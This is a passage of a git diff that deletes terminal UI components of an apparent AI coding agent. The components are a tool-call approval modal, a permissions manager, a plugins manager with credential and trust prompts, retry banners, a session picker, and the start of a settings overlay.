- - // If a prefix scope exists (e.g. "git branch *"), offer session / project / global - // for the wildcard pattern. This is the primary persistent path — three choices - // that cover the whole command family without repeated prompts. - const exactPattern = request.subject; - const prefixScope = request.scopes.find( - (s) => s.pattern !== null && s.pattern !== exactPattern && s.pattern.endsWith("*"), - ); - if (prefixScope?.pattern) { - const broadPattern = prefixScope.pattern; - const broadHint = prefixScope.hint ?? broadPattern; - const subject = grantSubject(request, broadHint); - for (const option of PERSISTENT_GRANTS) { - choices.push({ - label: `Allow ${subject} — ${option.note}`, - hint: "", - hintStyle: "note", - messageable: false, - outcome: { - allow: true, - persist: { - id: `${option.grant}-broad`, - label: `Allow ${subject}`, - pattern: broadPattern, - hint: broadHint, - grant: option.grant, - }, - }, - }); - } - } else { - // No prefix scope: fall back to exact-command persistent options. - const exactScope = request.scopes.find((s) => s.pattern === exactPattern) - ?? [...request.scopes].reverse().find((s) => s.pattern !== null); - if (exactScope?.pattern) { - const hint = exactScope.hint ?? exactScope.pattern; - const subject = grantSubject(request, hint); - for (const option of PERSISTENT_GRANTS) { - choices.push({ - label: `Allow ${subject} — ${option.note}`, - hint: "", - hintStyle: "note", - messageable: false, - outcome: { - allow: true, - persist: { - id: option.grant, - label: `Allow ${subject}`, - pattern: exactScope.pattern, - hint, - grant: option.grant, - }, - }, - }); - } - } - } - - return choices; -} - -function descriptorArgs(request: PermissionRequest): Record { - if (request.arguments !== undefined) return request.arguments; - if (request.tool === "run_shell") return { command: request.subject }; - if (request.tool === "write_file" || request.tool === "edit_file" || request.tool === "read_file") { - return { path: request.subject }; - } - return {}; -} - -export function PermissionModal({ - request, - permissionQueueDepth = 1, - queuedApprovals = [], - goalTimeoutMs = null, - onResolve, - width = 80, - terminalRows = FALLBACK_TERMINAL_ROWS, -}: PermissionModalProps): ReactNode { - const queuedBehind = Math.max(0, permissionQueueDepth - 1); - // Everything behind the currently visible entry, distinguished by agent. - const otherQueued = queuedApprovals.slice(1); - const shownQueued = otherQueued.slice(0, MAX_RENDERED_QUEUE_ENTRIES); - const hiddenQueuedCount = otherQueued.length - shownQueued.length; - const choices = buildChoices(request); - const [selected, setSelected] = useState(0); - const [message, setMessage] = useState(""); - const [expanded, setExpanded] = useState(false); - const descriptor = describeToolCall( - request.tool, - JSON.stringify(descriptorArgs(request)), - ); - const toolColor = color(descriptor.role); - const summary = clampForDisplay(sanitizeForPrompt(descriptor.summary)); - const allShellSegments = descriptor.isShell - ? groupChainSegmentsForDisplay(request.subject).filter((segment) => !isShellCommentOnly(segment)) - : []; - const cappedSegments = allShellSegments.slice(0, MAX_RENDERED_SEGMENTS); - const hiddenSegmentCount = allShellSegments.length - cappedSegments.length; - // Collapse heredoc/quoted-string payloads before sanitizing so an embedded - // newline is recognized as a payload boundary, not just turned into a ↵ - // marker — this is what lets the command render once, as one line per - // segment, with no separate raw dump underneath. - // - // Segments that refuse to collapse (interpreters, eval, …) can still be - // multi-line or longer than the display clamp. Ctrl+O expands those via - // expandLines so the operator can read the full body they are approving. - const collapsedSegments = cappedSegments.map((segment) => { - const collapsed = collapseSegmentPayloads(segment); - const sanitizedDisplay = sanitizeForPrompt(collapsed.display); - const display = clampForDisplay(sanitizedDisplay); - const expandLines = - collapsed.payloads.length === 0 && - (segment.includes("\n") || sanitizedDisplay.length > MAX_DISPLAY_LINE_LENGTH) - ? segment.split("\n") - : []; - return { - display, - payloads: collapsed.payloads, - expandLines, - }; - }); - const canExpandBody = collapsedSegments.some( - (segment) => segment.payloads.length > 0 || segment.expandLines.length > 0, - ); - - const activeChoice = choices[selected]; - const messageMode = message.length > 0 || false; - const goalTimeoutSecs = - goalTimeoutMs !== null && goalTimeoutMs !== undefined && goalTimeoutMs > 0 - ? Math.max(1, Math.round(goalTimeoutMs / 1000)) - : null; - - // The request body (segment list / summary / notice) is the one part of - // this modal that can grow arbitrarily — a long shell chain, an expanded - // heredoc payload, a dense plan-review notice. Everything else (header, - // agent line, queued-behind list, choices, footer) is bounded, so only the - // body scrolls: the focused choice and the full action list stay reachable - // below it no matter how tall the body gets. - const bodyRows: ReactNode[] = []; - if (collapsedSegments.length > 0) { - collapsedSegments.forEach((segment, i) => { - bodyRows.push( - - {collapsedSegments.length > 1 ? `${i + 1}. ${segment.display}` : segment.display} - , - ); - if (expanded) { - if (segment.payloads.length > 0) { - segment.payloads.forEach((payload, pi) => { - const lines = payload.lines.slice(0, MAX_RENDERED_LINES); - const hiddenLines = payload.lines.length - lines.length; - lines.forEach((line, li) => { - bodyRows.push( - - {" "} - {clampForDisplay(sanitizeForPrompt(line))} - , - ); - }); - if (hiddenLines > 0) { - bodyRows.push( - - {` … ${hiddenLines} more lines`} - , - ); - } - }); - } else if (segment.expandLines.length > 0) { - const lines = segment.expandLines.slice(0, MAX_RENDERED_LINES); - const hiddenLines = segment.expandLines.length - lines.length; - lines.forEach((line, li) => { - bodyRows.push( - - {" "} - {clampForDisplay(sanitizeForPrompt(line))} - , - ); - }); - if (hiddenLines > 0) { - bodyRows.push( - - {` … ${hiddenLines} more lines`} - , - ); - } - } - } - }); - if (hiddenSegmentCount > 0) { - bodyRows.push( - {`… ${hiddenSegmentCount} more segments`}, - ); - } - if (collapsedSegments.length > 1) { - bodyRows.push( - - One decision covers every segment — rejecting any blocks the whole command. - , - ); - } - } else if (summary.length > 0) { - bodyRows.push( - {summary}, - ); - } - if (request.notice !== undefined) { - bodyRows.push( - {sanitizeForPrompt(request.notice)}, - ); - } - - // Rows fixed above and below the scrollable body — border, padding, header - // lines, the queued-behind list (kept short and always visible), choices, - // and the footer. What's left is the body's viewport. - const fixedRowsAboveBody = - 2 /* border */ + - 2 /* paddingY */ + - 1 /* "Approval needed" */ + - (request.agentLabel !== undefined ? 1 : 0) + - (goalTimeoutSecs !== null ? 1 : 0) + - 1 /* marginTop before the info box */ + - 1 /* action line */ + - shownQueued.length + - (hiddenQueuedCount > 0 ? 1 : 0) + - 1 /* marginTop before the body */; - const fixedRowsBelowBody = - 1 /* marginTop before choices */ + - choices.length + - 1 /* marginTop before footer */ + - 1 /* footer line */; - const availableBodyRows = Math.max( - MIN_BODY_ROWS, - terminalRows - fixedRowsAboveBody - fixedRowsBelowBody, - ); - const bodyScrollable = bodyRows.length > availableBodyRows; - // Reserve one row for the scroll indicator only when actually scrolling, so - // a short prompt still fits on one screen with no forced scroll affordance. - const bodyViewportRows = bodyScrollable - ? Math.max(1, availableBodyRows - 1) - : availableBodyRows; - // Top-pinned scroll state — unlike the transcript's useScroll (which pins - // to the newest/bottom line), an approval body should open showing its - // start, with PageDown revealing the rest. - const bodyScroll = useScrollWindow(bodyRows.length, bodyViewportRows); - const clampedBodyOffset = bodyScroll.offset; - const visibleBodyRows = bodyScrollable - ? bodyRows.slice(clampedBodyOffset, clampedBodyOffset + bodyViewportRows) - : bodyRows; - const linesAbove = bodyScroll.above; - const linesBelow = bodyScroll.below; - - useInput((input, key) => { - if (key.escape) { - if (message.length > 0) { - setMessage(""); - return; - } - onResolve({ allow: false }); - return; - } - - if (key.return) { - if (!activeChoice) return; - const trimmed = message.trim(); - onResolve(trimmed.length > 0 ? { ...activeChoice.outcome, message: trimmed } : activeChoice.outcome); - return; - } - - if (key.ctrl && input === "o") { - if (canExpandBody) setExpanded((e) => !e); - return; - } - - if (bodyScrollable && key.pageUp) { - bodyScroll.pageUp(); - return; - } - if (bodyScrollable && key.pageDown) { - bodyScroll.pageDown(); - return; - } - - if (key.ctrl && (key.upArrow || key.downArrow)) return; - if (key.upArrow && message.length === 0) { - setSelected((s) => (s > 0 ? s - 1 : choices.length - 1)); - return; - } - if (key.downArrow && message.length === 0) { - setSelected((s) => (s < choices.length - 1 ? s + 1 : 0)); - return; - } - - if (key.backspace || key.delete) { - setMessage((m) => m.slice(0, -1)); - return; - } - - // Number keys jump straight to an option and resolve it, as long as the user - // is not mid-message (where digits are part of the typed explanation). - if (message.length === 0 && /^[1-9]$/.test(input)) { - const index = Number(input) - 1; - const choice = choices[index]; - if (choice) { - onResolve(choice.outcome); - return; - } - } - - if (input && !key.ctrl && !key.meta && activeChoice?.messageable) { - setMessage((m) => m + input); - } - }); - - return ( - - Approval needed - {request.agentLabel !== undefined && ( - - {`⏺ ${displayAgentLabel(request.agentLabel)}`} - {request.cwd !== undefined && ( - {` ${displayAgentCwd(request.cwd)}`} - )} - - )} - {goalTimeoutSecs !== null && ( - - {`Goal mode · auto-skip in ~${goalTimeoutSecs}s if no response`} - - )} - - - - {request.action} - {descriptor.isShell ? null : ( - <> - {": "} - {descriptor.display} - - )} - {queuedBehind > 0 - ? ` · +${queuedBehind} more approval${queuedBehind === 1 ? "" : "s"} queued` - : ""} - - {shownQueued.length > 0 && ( - - {shownQueued.map((entry) => ( - - {"· "} - {entry.agentLabel !== undefined ? ( - {displayAgentLabel(entry.agentLabel)} - ) : ( - session - )} - {` — ${entry.tool}`} - - ))} - {hiddenQueuedCount > 0 && ( - {`… ${hiddenQueuedCount} more waiting`} - )} - - )} - {visibleBodyRows.length > 0 && ( - // The command renders exactly once, as this segment list — no - // separate raw dump. Heredoc/quoted payloads are already collapsed - // to a placeholder; Ctrl+O reveals their full text below each one. - // When the body is taller than the terminal, only a window of it - // renders here — PageUp/PageDown scroll it — while the choices and - // footer below stay fixed and always visible. - - {visibleBodyRows.map((row, i) => ( - {row} - ))} - - )} - {bodyScrollable && ( - - - {linesAbove > 0 ? `↑ ${linesAbove} more above` : ""} - {linesAbove > 0 && linesBelow > 0 ? " · " : ""} - {linesBelow > 0 ? `↓ ${linesBelow} more below` : ""} - {" · PageUp/PageDown to scroll"} - - - )} - - - {choices.map((choice, i) => { - const isReject = choice.outcome.allow === false; - const tone = isReject ? color("danger") : color("success"); - const active = i === selected; - // The message is operator-typed; the hint carries the model-authored - // command pattern and needs the same sanitization as the subject. - const hintText = active && messageMode - ? message - : expanded - ? sanitizeForPrompt(choice.hint) - : truncateChoiceText(sanitizeForPrompt(choice.hint), width); - const hintOpen = choice.hintStyle === "command" ? "[" : "("; - const hintClose = choice.hintStyle === "command" ? "]" : ")"; - const hintColor = choice.hintStyle === "command" ? color("muted") : color("muted"); - const hintDim = choice.hintStyle === "command"; - // Persistent Allow choices carry their scope in the label itself - // (see grantSubject) and set hint to "" — nothing left to show in a - // second, dimmer bracket, so the bracket is omitted entirely rather - // than rendering an empty "()" pair. - const showHint = choice.hint.length > 0 || (active && messageMode); - return ( - - - {active ? "› " : " "} - - {`${i + 1}. `} - - {expanded - ? sanitizeForPrompt(choice.label) - : truncateChoiceText(sanitizeForPrompt(choice.label), width)} - - {showHint && ( - <> - {" "} - - {hintOpen} - - - {hintText} - - {active && messageMode && ( - ▌ - )} - - {hintClose} - - - )} - - ); - })} - - - - {messageMode - ? "Enter confirm · Esc clear · ↑↓ navigate" - : canExpandBody - ? `1-${choices.length} select · ↑↓ navigate · Enter choose · Ctrl+O ${expanded ? "collapse" : "expand"} · Esc reject` - : `1-${choices.length} select · ↑↓ navigate · Enter choose · Esc reject`} - - - - - ); -} diff --git a/src/tui/components/permissions-manager.tsx b/src/tui/components/permissions-manager.tsx deleted file mode 100644 index f3a3f002e..000000000 --- a/src/tui/components/permissions-manager.tsx +++ /dev/null @@ -1,122 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import { useState } from "react"; -import type { ReactNode } from "react"; -import type { GrantScope } from "../../permission/types.js"; -import type { ScopedApproval } from "../../permission/admin.js"; -import { color } from "../theme.js"; - -export type PermissionsManagerProps = { - entries: ScopedApproval[]; - onRevoke: (entry: ScopedApproval) => void; - onClose: () => void; - maxHeight?: number; -}; - -const SCOPE_LABEL: Record = { - session: "This session", - project: "This project", - global: "Global", - "provider-model": "Provider / model", -}; - -const SCOPE_ORDER: GrantScope[] = ["session", "project", "global", "provider-model"]; - -function orderEntries(entries: ScopedApproval[]): ScopedApproval[] { - return SCOPE_ORDER.flatMap((scope) => entries.filter((e) => e.scope === scope)); -} - -function entryLabel(entry: ScopedApproval): string { - const suffix = entry.providerModel !== undefined ? ` (${entry.providerModel})` : ""; - return `${entry.tool} ${entry.pattern}${suffix}`; -} - -// Fixed rows consumed by the box chrome (borders, padding, title, hint footer). -const FIXED_CHROME = 6; - -export function PermissionsManager({ entries, onRevoke, onClose, maxHeight }: PermissionsManagerProps): ReactNode { - const ordered = orderEntries(entries); - const [selected, setSelected] = useState(0); - const active = ordered.length > 0 ? Math.min(selected, ordered.length - 1) : 0; - - // Determine how many entry rows are visible given the height budget. - const availableEntryRows = maxHeight !== undefined ? Math.max(1, maxHeight - FIXED_CHROME) : undefined; - // Scroll offset: keep the active entry visible within the window. - const scrollOffset = availableEntryRows !== undefined && availableEntryRows < ordered.length - ? Math.max(0, Math.min(active - Math.floor(availableEntryRows / 2), ordered.length - availableEntryRows)) - : 0; - const visibleEntries = availableEntryRows !== undefined - ? ordered.slice(scrollOffset, scrollOffset + availableEntryRows) - : ordered; - - useInput((input, key) => { - if (key.escape) { - onClose(); - return; - } - if (ordered.length === 0) return; - if (key.upArrow) { - setSelected((s) => (s > 0 ? s - 1 : ordered.length - 1)); - return; - } - if (key.downArrow) { - setSelected((s) => (s < ordered.length - 1 ? s + 1 : 0)); - return; - } - if (input === "d" || key.delete || key.backspace) { - const target = ordered[active]; - if (target !== undefined) { - // The parent reloads the list after a revoke, shifting indices. Drop the - // cursor to the top now so a follow-up keystroke can't revoke a row that - // slid under it. - setSelected(0); - onRevoke(target); - } - } - }); - - return ( - - Permissions - {ordered.length === 0 ? ( - - No remembered approvals. Grants you accept will appear here. - - ) : ( - SCOPE_ORDER.map((scope) => { - const scoped = visibleEntries.filter((e) => e.scope === scope); - if (scoped.length === 0) return null; - return ( - - {SCOPE_LABEL[scope]} - {scoped.map((entry) => { - const globalIndex = ordered.indexOf(entry); - const isActive = globalIndex === active; - return ( - - - {isActive ? "› " : " "} - - - {entryLabel(entry)} - - - ); - })} - - ); - }) - )} - - - {ordered.length === 0 ? "Esc to close" : "↑↓ navigate · d revoke · Esc close"} - - - - ); -} diff --git a/src/tui/components/plugins-manager.tsx b/src/tui/components/plugins-manager.tsx deleted file mode 100644 index 3c5b63a98..000000000 --- a/src/tui/components/plugins-manager.tsx +++ /dev/null @@ -1,440 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import { useState, useRef } from "react"; -import type { ReactNode } from "react"; -import { color } from "../theme.js"; -import { listPathSuggestions } from "./at-mention/index.js"; -import type { PluginConfig } from "../../config/settings.js"; -import type { PluginCredentialField, PluginKind } from "../../plugins/manifest.js"; - -export type PluginDescriptor = { - id: string; - name: string; - kind?: PluginKind; - description?: string; - credentials: PluginCredentialField[]; - // For kind:"agent" plugins — the profiles contributed, shown so the user can - // see which sub-agents and tiers a plugin provides before enabling it. - agentProfiles?: { id: string; tier?: string; description?: string }[]; - /** - * True when discovery found the plugin but code is not imported yet (project - * or path origin still untrusted). Enabling records trust and full-loads. - */ - needsTrust?: boolean; - /** True for a trusted path-origin plugin, whose global grant can be withdrawn. */ - canRevokeTrust?: boolean; -}; - -export type VerifyResult = { ok: boolean; message: string }; -export type AddPathResult = { ok: boolean; message: string; id?: string }; - -export type PluginsAdmin = { - list: () => PluginDescriptor[]; - getConfig: () => Record; - getWebOverride: () => string | undefined; - saveConfig: (id: string, cfg: PluginConfig) => Promise | void; - setWebOverride: (id: string | undefined) => Promise | void; - verify: (id: string, credentials: Record) => Promise; - // Register a plugin from an arbitrary file/dir path, persisting it so it loads - // on future startups. Returns the new plugin id on success. - addPath: (path: string) => Promise; - // Withdraw the global trust grant for a path-origin plugin and disable it. - revokeTrust: (id: string) => Promise; -}; - -export type PluginsManagerProps = { - admin: PluginsAdmin; - onClose: () => void; - cwd: string; -}; - -type Status = { busy?: boolean; ok?: boolean; message?: string }; - -function maskSecret(value: string): string { - if (value.length === 0) return ""; - if (value.length <= 4) return "••••"; - return `••••${value.slice(-4)}`; -} - -export function PluginsManager({ admin, onClose, cwd }: PluginsManagerProps): ReactNode { - // Bumped after an add so admin.list() (a live mutable array) is re-read. - const [, setVersion] = useState(0); - const plugins = admin.list(); - const [config, setConfig] = useState>(() => admin.getConfig()); - const [webOverride, setWebOverride] = useState(() => admin.getWebOverride()); - const [selected, setSelected] = useState(0); - const [editing, setEditing] = useState(null); - const [buffer, setBuffer] = useState(""); - const [statuses, setStatuses] = useState>({}); - // Add-by-path mode: when non-null, the field captures a filesystem path. - const [addingPath, setAddingPath] = useState(null); - const [addStatus, setAddStatus] = useState(null); - // Consent mode: when set to a plugin id, a tool plugin is awaiting y/n consent. - const [consenting, setConsenting] = useState(null); - - // Path suggestions (and selection index) for add-by-path, modeled on the @-path - // behavior in the main prompt so typing a prefix immediately shows matching - // files/dirs and arrows/tab let you pick. - const [pathSuggestions, setPathSuggestions] = useState([]); - const [pathSelectedIdx, setPathSelectedIdx] = useState(0); - const pathGeneration = useRef(0); - const lastPathPrefix = useRef(null); - - const active = plugins.length > 0 ? Math.min(selected, plugins.length - 1) : 0; - const current = plugins[active]; - - const credValue = (id: string, key: string): string => config[id]?.credentials?.[key] ?? ""; - const isEnabled = (id: string): boolean => config[id]?.enabled === true; - const isConsented = (id: string): boolean => config[id]?.consented === true; - - // Clear path-suggestion state when leaving add-by-path (call at every exit site - // instead of watching addingPath with an effect). - const clearAddingPath = (): void => { - pathGeneration.current++; - lastPathPrefix.current = null; - setPathSuggestions([]); - setPathSelectedIdx(0); - setAddingPath(null); - }; - - const fetchPathSuggestions = (prefix: string, gen: number) => { - void listPathSuggestions(prefix, cwd).then((results) => { - if (pathGeneration.current !== gen) return; - setPathSuggestions(results); - setPathSelectedIdx(0); - }); - }; - - const refreshPathSuggestions = (prefix: string) => { - if (prefix === lastPathPrefix.current) return; - lastPathPrefix.current = prefix; - const gen = ++pathGeneration.current; - fetchPathSuggestions(prefix, gen); - }; - - const persist = (id: string, cfg: PluginConfig): void => { - setConfig((prev) => ({ ...prev, [id]: cfg })); - void admin.saveConfig(id, cfg); - }; - - const commitEdit = (): void => { - if (current === undefined || editing === null) return; - const existing = config[current.id] ?? {}; - persist(current.id, { - ...existing, - credentials: { ...(existing.credentials ?? {}), [editing]: buffer }, - }); - setEditing(null); - setBuffer(""); - }; - - const runVerify = (): void => { - if (current === undefined) return; - const id = current.id; - setStatuses((s) => ({ ...s, [id]: { busy: true } })); - void Promise.resolve(admin.verify(id, config[id]?.credentials ?? {})).then( - (result) => setStatuses((s) => ({ ...s, [id]: { ok: result.ok, message: result.message } })), - (err: unknown) => setStatuses((s) => ({ ...s, [id]: { ok: false, message: err instanceof Error ? err.message : String(err) } })), - ); - }; - - const commitAddPath = (explicit?: string): void => { - const path = explicit ?? addingPath ?? ""; - setAddStatus({ busy: true }); - void Promise.resolve(admin.addPath(path)).then( - (result) => { - setAddStatus({ ok: result.ok, message: result.message }); - if (result.ok) { clearAddingPath(); setVersion((v) => v + 1); } - }, - (err: unknown) => setAddStatus({ ok: false, message: err instanceof Error ? err.message : String(err) }), - ); - }; - - useInput((input, key) => { - if (consenting !== null) { - if (input === "y" || input === "Y") { - const existing = config[consenting] ?? {}; - persist(consenting, { ...existing, enabled: true, consented: true }); - } - setConsenting(null); - return; - } - - if (addingPath !== null) { - if (key.escape) { - clearAddingPath(); - setAddStatus(null); - return; - } - // Arrow and tab navigation inside path suggestions (modeled on prompt @ paths). - const clampedIdx = pathSuggestions.length > 0 ? Math.min(pathSelectedIdx, pathSuggestions.length - 1) : 0; - if (key.upArrow) { - if (pathSelectedIdx > 0) { - setPathSelectedIdx(pathSelectedIdx - 1); - return; - } - // Ascend to parent dir, like at-mention selectUp. - const p = lastPathPrefix.current; - if (p && p !== "") { - const stripped = p.endsWith("/") ? p.slice(0, -1) : p; - const lastSlash = stripped.lastIndexOf("/"); - const parent = lastSlash === -1 ? "" : stripped.slice(0, lastSlash + 1); - if (parent !== p) { - setAddingPath(parent); - lastPathPrefix.current = parent; - const gen = ++pathGeneration.current; - fetchPathSuggestions(parent, gen); - setPathSelectedIdx(0); - } - } - return; - } - if (key.downArrow) { - const last = Math.max(0, pathSuggestions.length - 1); - if (pathSelectedIdx < last) { - setPathSelectedIdx(pathSelectedIdx + 1); - return; - } - // Drill into dir if at bottom of list. - const sel = pathSuggestions[clampedIdx]; - if (sel !== undefined && sel.endsWith("/")) { - setAddingPath(sel); - lastPathPrefix.current = sel; - const gen = ++pathGeneration.current; - fetchPathSuggestions(sel, gen); - setPathSelectedIdx(0); - } - return; - } - if (key.tab) { - const sel = pathSuggestions[clampedIdx]; - if (sel !== undefined) { - setAddingPath(sel); - lastPathPrefix.current = sel; - const gen = ++pathGeneration.current; - fetchPathSuggestions(sel, gen); - setPathSelectedIdx(0); - } - return; - } - if (key.return) { - let toCommit = addingPath ?? ""; - if (pathSuggestions.length > 0) { - const sel = pathSuggestions[clampedIdx]; - if (sel !== undefined) toCommit = sel; - } - commitAddPath(toCommit); - return; - } - if (key.backspace || key.delete) { - const next = (addingPath ?? "").slice(0, -1); - setAddingPath(next); - refreshPathSuggestions(next); - return; - } - if (input.length > 0 && !key.ctrl && !key.meta) { - const next = (addingPath ?? "") + input; - setAddingPath(next); - refreshPathSuggestions(next); - return; - } - return; - } - - if (editing !== null) { - if (key.escape) { setEditing(null); setBuffer(""); return; } - if (key.return) { commitEdit(); return; } - if (key.backspace || key.delete) { setBuffer((b) => b.slice(0, -1)); return; } - if (input.length > 0 && !key.ctrl && !key.meta) setBuffer((b) => b + input); - return; - } - - if (key.escape) { onClose(); return; } - if (input === "a") { - const init = ""; - setAddingPath(init); - setAddStatus(null); - setPathSuggestions([]); - setPathSelectedIdx(0); - lastPathPrefix.current = null; - const gen = ++pathGeneration.current; - fetchPathSuggestions(init, gen); - return; - } - if (plugins.length === 0) return; - if (key.upArrow) { setSelected((s) => (s > 0 ? s - 1 : plugins.length - 1)); return; } - if (key.downArrow) { setSelected((s) => (s < plugins.length - 1 ? s + 1 : 0)); return; } - if (current === undefined) return; - - if (input === "e") { - const enabling = !isEnabled(current.id); - // Enabling a tool plugin needs explicit consent the first time — its tools - // run in-process. Consent is a persistent grant: disabling keeps it, so - // re-enabling a previously-consented plugin does not re-prompt. "Active" - // (isToolPluginActive) still requires enabled AND consented. - if (enabling && current.kind === "tool" && !isConsented(current.id)) { - setConsenting(current.id); - return; - } - persist(current.id, { ...(config[current.id] ?? {}), enabled: enabling }); - return; - } - if (input === "w" && current.kind === "web") { - const next = webOverride === current.id ? undefined : current.id; - setWebOverride(next); - void admin.setWebOverride(next); - return; - } - if (input === "v" && (current.kind === "web" || current.kind === "tool")) { runVerify(); return; } - if (input === "r" && current.canRevokeTrust === true) { - const id = current.id; - setStatuses((s) => ({ ...s, [id]: { busy: true } })); - void Promise.resolve(admin.revokeTrust(id)).then( - (result) => { - setStatuses((s) => ({ ...s, [id]: { ok: result.ok, message: result.message } })); - if (result.ok) { - setConfig((prev) => ({ ...prev, [id]: { ...(prev[id] ?? {}), enabled: false } })); - setVersion((v) => v + 1); - } - }, - (err: unknown) => setStatuses((s) => ({ ...s, [id]: { ok: false, message: err instanceof Error ? err.message : String(err) } })), - ); - return; - } - if (/^[1-9]$/.test(input)) { - const field = current.credentials[Number(input) - 1]; - if (field !== undefined) { - setEditing(field.key); - setBuffer(credValue(current.id, field.key)); - } - } - }); - - return ( - - Plugins - {plugins.length === 0 ? ( - - No plugins discovered. Drop one in .corbits/plugins/ or ~/.corbits/plugins/. - - ) : ( - plugins.map((p, i) => { - const isActive = i === active; - const enabled = isEnabled(p.id); - const webActive = webOverride === p.id; - const status = statuses[p.id]; - return ( - - - {isActive ? "›" : " "} - {p.name} - {p.kind !== undefined && {`[${p.kind}]`}} - {enabled ? "● enabled" : "○ disabled"} - {p.needsTrust === true && ( - needs trust - )} - {webActive && web override} - {p.kind === "tool" && isConsented(p.id) && consented} - - {isActive && p.needsTrust === true && ( - - - Code not loaded — press e to trust and enable - - - )} - {isActive && p.description !== undefined && ( - {p.description} - )} - {isActive && p.agentProfiles !== undefined && p.agentProfiles.length > 0 && ( - - {p.agentProfiles.map((ap) => ( - - agent - {ap.id} - {ap.tier !== undefined && ( - {`tier: ${ap.tier} — configure in /model → tiers`} - )} - - ))} - - )} - {isActive && p.credentials.map((field, ci) => { - const raw = credValue(p.id, field.key); - const display = editing === field.key - ? `${buffer}▏` - : raw.length === 0 - ? "(not set)" - : field.secret ? maskSecret(raw) : raw; - const valueColor = editing === field.key ? color("brand") : raw.length === 0 ? color("dim") : undefined; - return ( - - {`${ci + 1}.`} - {field.label}: - {display} - - ); - })} - {isActive && status !== undefined && ( - - - {status.busy ? "verifying…" : `${status.ok ? "✓" : "✗"} ${status.message ?? ""}`} - - - )} - - ); - }) - )} - {addingPath !== null && ( - - - Add plugin path: - {`${addingPath}▏`} - - {pathSuggestions.length > 0 && ( - - {pathSuggestions.map((s, i) => { - const clamped = Math.min(pathSelectedIdx, pathSuggestions.length - 1); - return ( - - - {s} - - - ); - })} - - )} - {addStatus !== null && ( - - {addStatus.busy ? "loading…" : `${addStatus.ok ? "✓" : "✗"} ${addStatus.message ?? ""}`} - - )} - - )} - {addingPath === null && addStatus !== null && ( - - {`${addStatus.ok ? "✓" : "✗"} ${addStatus.message ?? ""}`} - - )} - {consenting !== null && ( - - - This tool plugin adds tools that run in-process with full agent access. Enable and trust it? (y/n) — takes effect next launch. - - - )} - - - {consenting !== null - ? "y to consent and enable · any other key to cancel" - : addingPath !== null - ? "type path · ↑↓/Tab pick · Enter add · Esc cancel" - : editing !== null - ? "type value · Enter save · Esc cancel" - : `↑↓ select · 1-9 edit credential · e enable · w web override · v verify · a add by path${current?.canRevokeTrust === true ? " · r revoke trust" : ""} · Esc close`} - - - - ); -} diff --git a/src/tui/components/retry-banners.tsx b/src/tui/components/retry-banners.tsx deleted file mode 100644 index b57cd02f3..000000000 --- a/src/tui/components/retry-banners.tsx +++ /dev/null @@ -1,50 +0,0 @@ -import { Box, Text } from "ink"; -import type { ReactNode } from "react"; - -function formatCountdown(ms: number): string { - if (ms <= 0) return "now"; - const totalSeconds = Math.ceil(ms / 1000); - const days = Math.floor(totalSeconds / 86400); - const hours = Math.floor((totalSeconds % 86400) / 3600); - const minutes = Math.floor((totalSeconds % 3600) / 60); - const seconds = totalSeconds % 60; - if (days > 0) return `${String(days)}d ${String(hours)}h`; - if (hours > 0) return `${String(hours)}h ${String(minutes)}m`; - if (minutes > 0) return `${String(minutes)}m ${String(seconds)}s`; - return `${String(seconds)}s`; -} - -export function QuotaErrorBanner({ retryAt }: { retryAt: number }): ReactNode { - const remaining = retryAt - Date.now(); - const expired = remaining <= 0; - return ( - - - {expired - ? "Rate limit reached — retrying…" - : `Rate limit reached — auto-retry in ${formatCountdown(remaining)}`} - - {"[/agent] Switch provider"} - - ); -} - -export function GatewayRetryBanner({ - attempt, - retryAt, -}: { - attempt: number; - retryAt: number; -}): ReactNode { - const remaining = retryAt - Date.now(); - const expired = remaining <= 0; - return ( - - - {expired - ? `Inference gateway overloaded — retrying (attempt ${attempt})…` - : `Inference gateway overloaded — retrying (attempt ${attempt}) in ${formatCountdown(remaining)}`} - - - ); -} diff --git a/src/tui/components/session-resume-picker.tsx b/src/tui/components/session-resume-picker.tsx deleted file mode 100644 index 0d032682a..000000000 --- a/src/tui/components/session-resume-picker.tsx +++ /dev/null @@ -1,95 +0,0 @@ -import { Box, Text, useApp, useInput } from "ink"; -import type { ReactNode } from "react"; -import { useMemo, useRef, useState } from "react"; - -import type { SessionSummary } from "../../session/index.js"; -import { formatRelativeTime } from "../format-relative-time.js"; -import { color } from "../theme.js"; - -export type SessionResumePickerProps = { - sessions: SessionSummary[]; - onSelect: (session: SessionSummary) => void; - onCancel: () => void; -}; - -function formatLabel(session: SessionSummary): string { - const title = session.task.trim().length > 0 ? session.task.trim() : "Untitled session"; - const when = formatRelativeTime(session.startedAt); - return `${title} · ${when} · ${session.status}`; -} - -export function SessionResumePicker({ sessions, onSelect, onCancel }: SessionResumePickerProps): ReactNode { - const { exit } = useApp(); - const [cursor, setCursor] = useState(0); - // Keep the latest cursor available to useInput without an effect round-trip. - const cursorRef = useRef(cursor); - cursorRef.current = cursor; - const rows = useMemo(() => sessions.map((s) => ({ session: s, label: formatLabel(s) })), [sessions]); - const clamped = rows.length > 0 ? Math.min(cursor, rows.length - 1) : 0; - - useInput((input, key) => { - if (rows.length === 0) { - if (key.escape) { - onCancel(); - exit(); - } - return; - } - if (key.upArrow) { - setCursor((i) => (i > 0 ? i - 1 : rows.length - 1)); - return; - } - if (key.downArrow) { - setCursor((i) => (i < rows.length - 1 ? i + 1 : 0)); - return; - } - if (key.return) { - const index = Math.min(cursorRef.current, Math.max(0, rows.length - 1)); - const row = rows[index]; - if (row !== undefined) { - onSelect(row.session); - exit(); - } - return; - } - if (key.escape) { - onCancel(); - exit(); - } - }); - - return ( - - - Resume conversation - - - Choose a previous session in this repo - - {rows.length === 0 ? ( - - No saved sessions found. - - ) : ( - - {rows.map((row, i) => { - const active = i === clamped; - return ( - - - {active ? ">" : " "} - - - {row.label} - - - ); - })} - - )} - - ↑↓ navigate · Enter select · Esc cancel - - - ); -} \ No newline at end of file diff --git a/src/tui/components/settings-overlay.tsx b/src/tui/components/settings-overlay.tsx deleted file mode 100644 index 1592fe07f..000000000 --- a/src/tui/components/settings-overlay.tsx +++ /dev/null @@ -1,593 +0,0 @@ -import { Box, Text, useInput } from "ink"; -import { useState } from "react"; -import type { ReactNode } from "react"; -import type { GrantScope } from "../../permission/types.js"; -import type { ScopedApproval } from "../../permission/admin.js"; -import type { SessionMode } from "../../config/session-mode.js"; -import { SESSION_MODES } from "../../config/session-mode.js"; -import { color } from "../theme.js"; -import { useTerminalSize } from "../hooks/use-terminal-size.js"; -import { 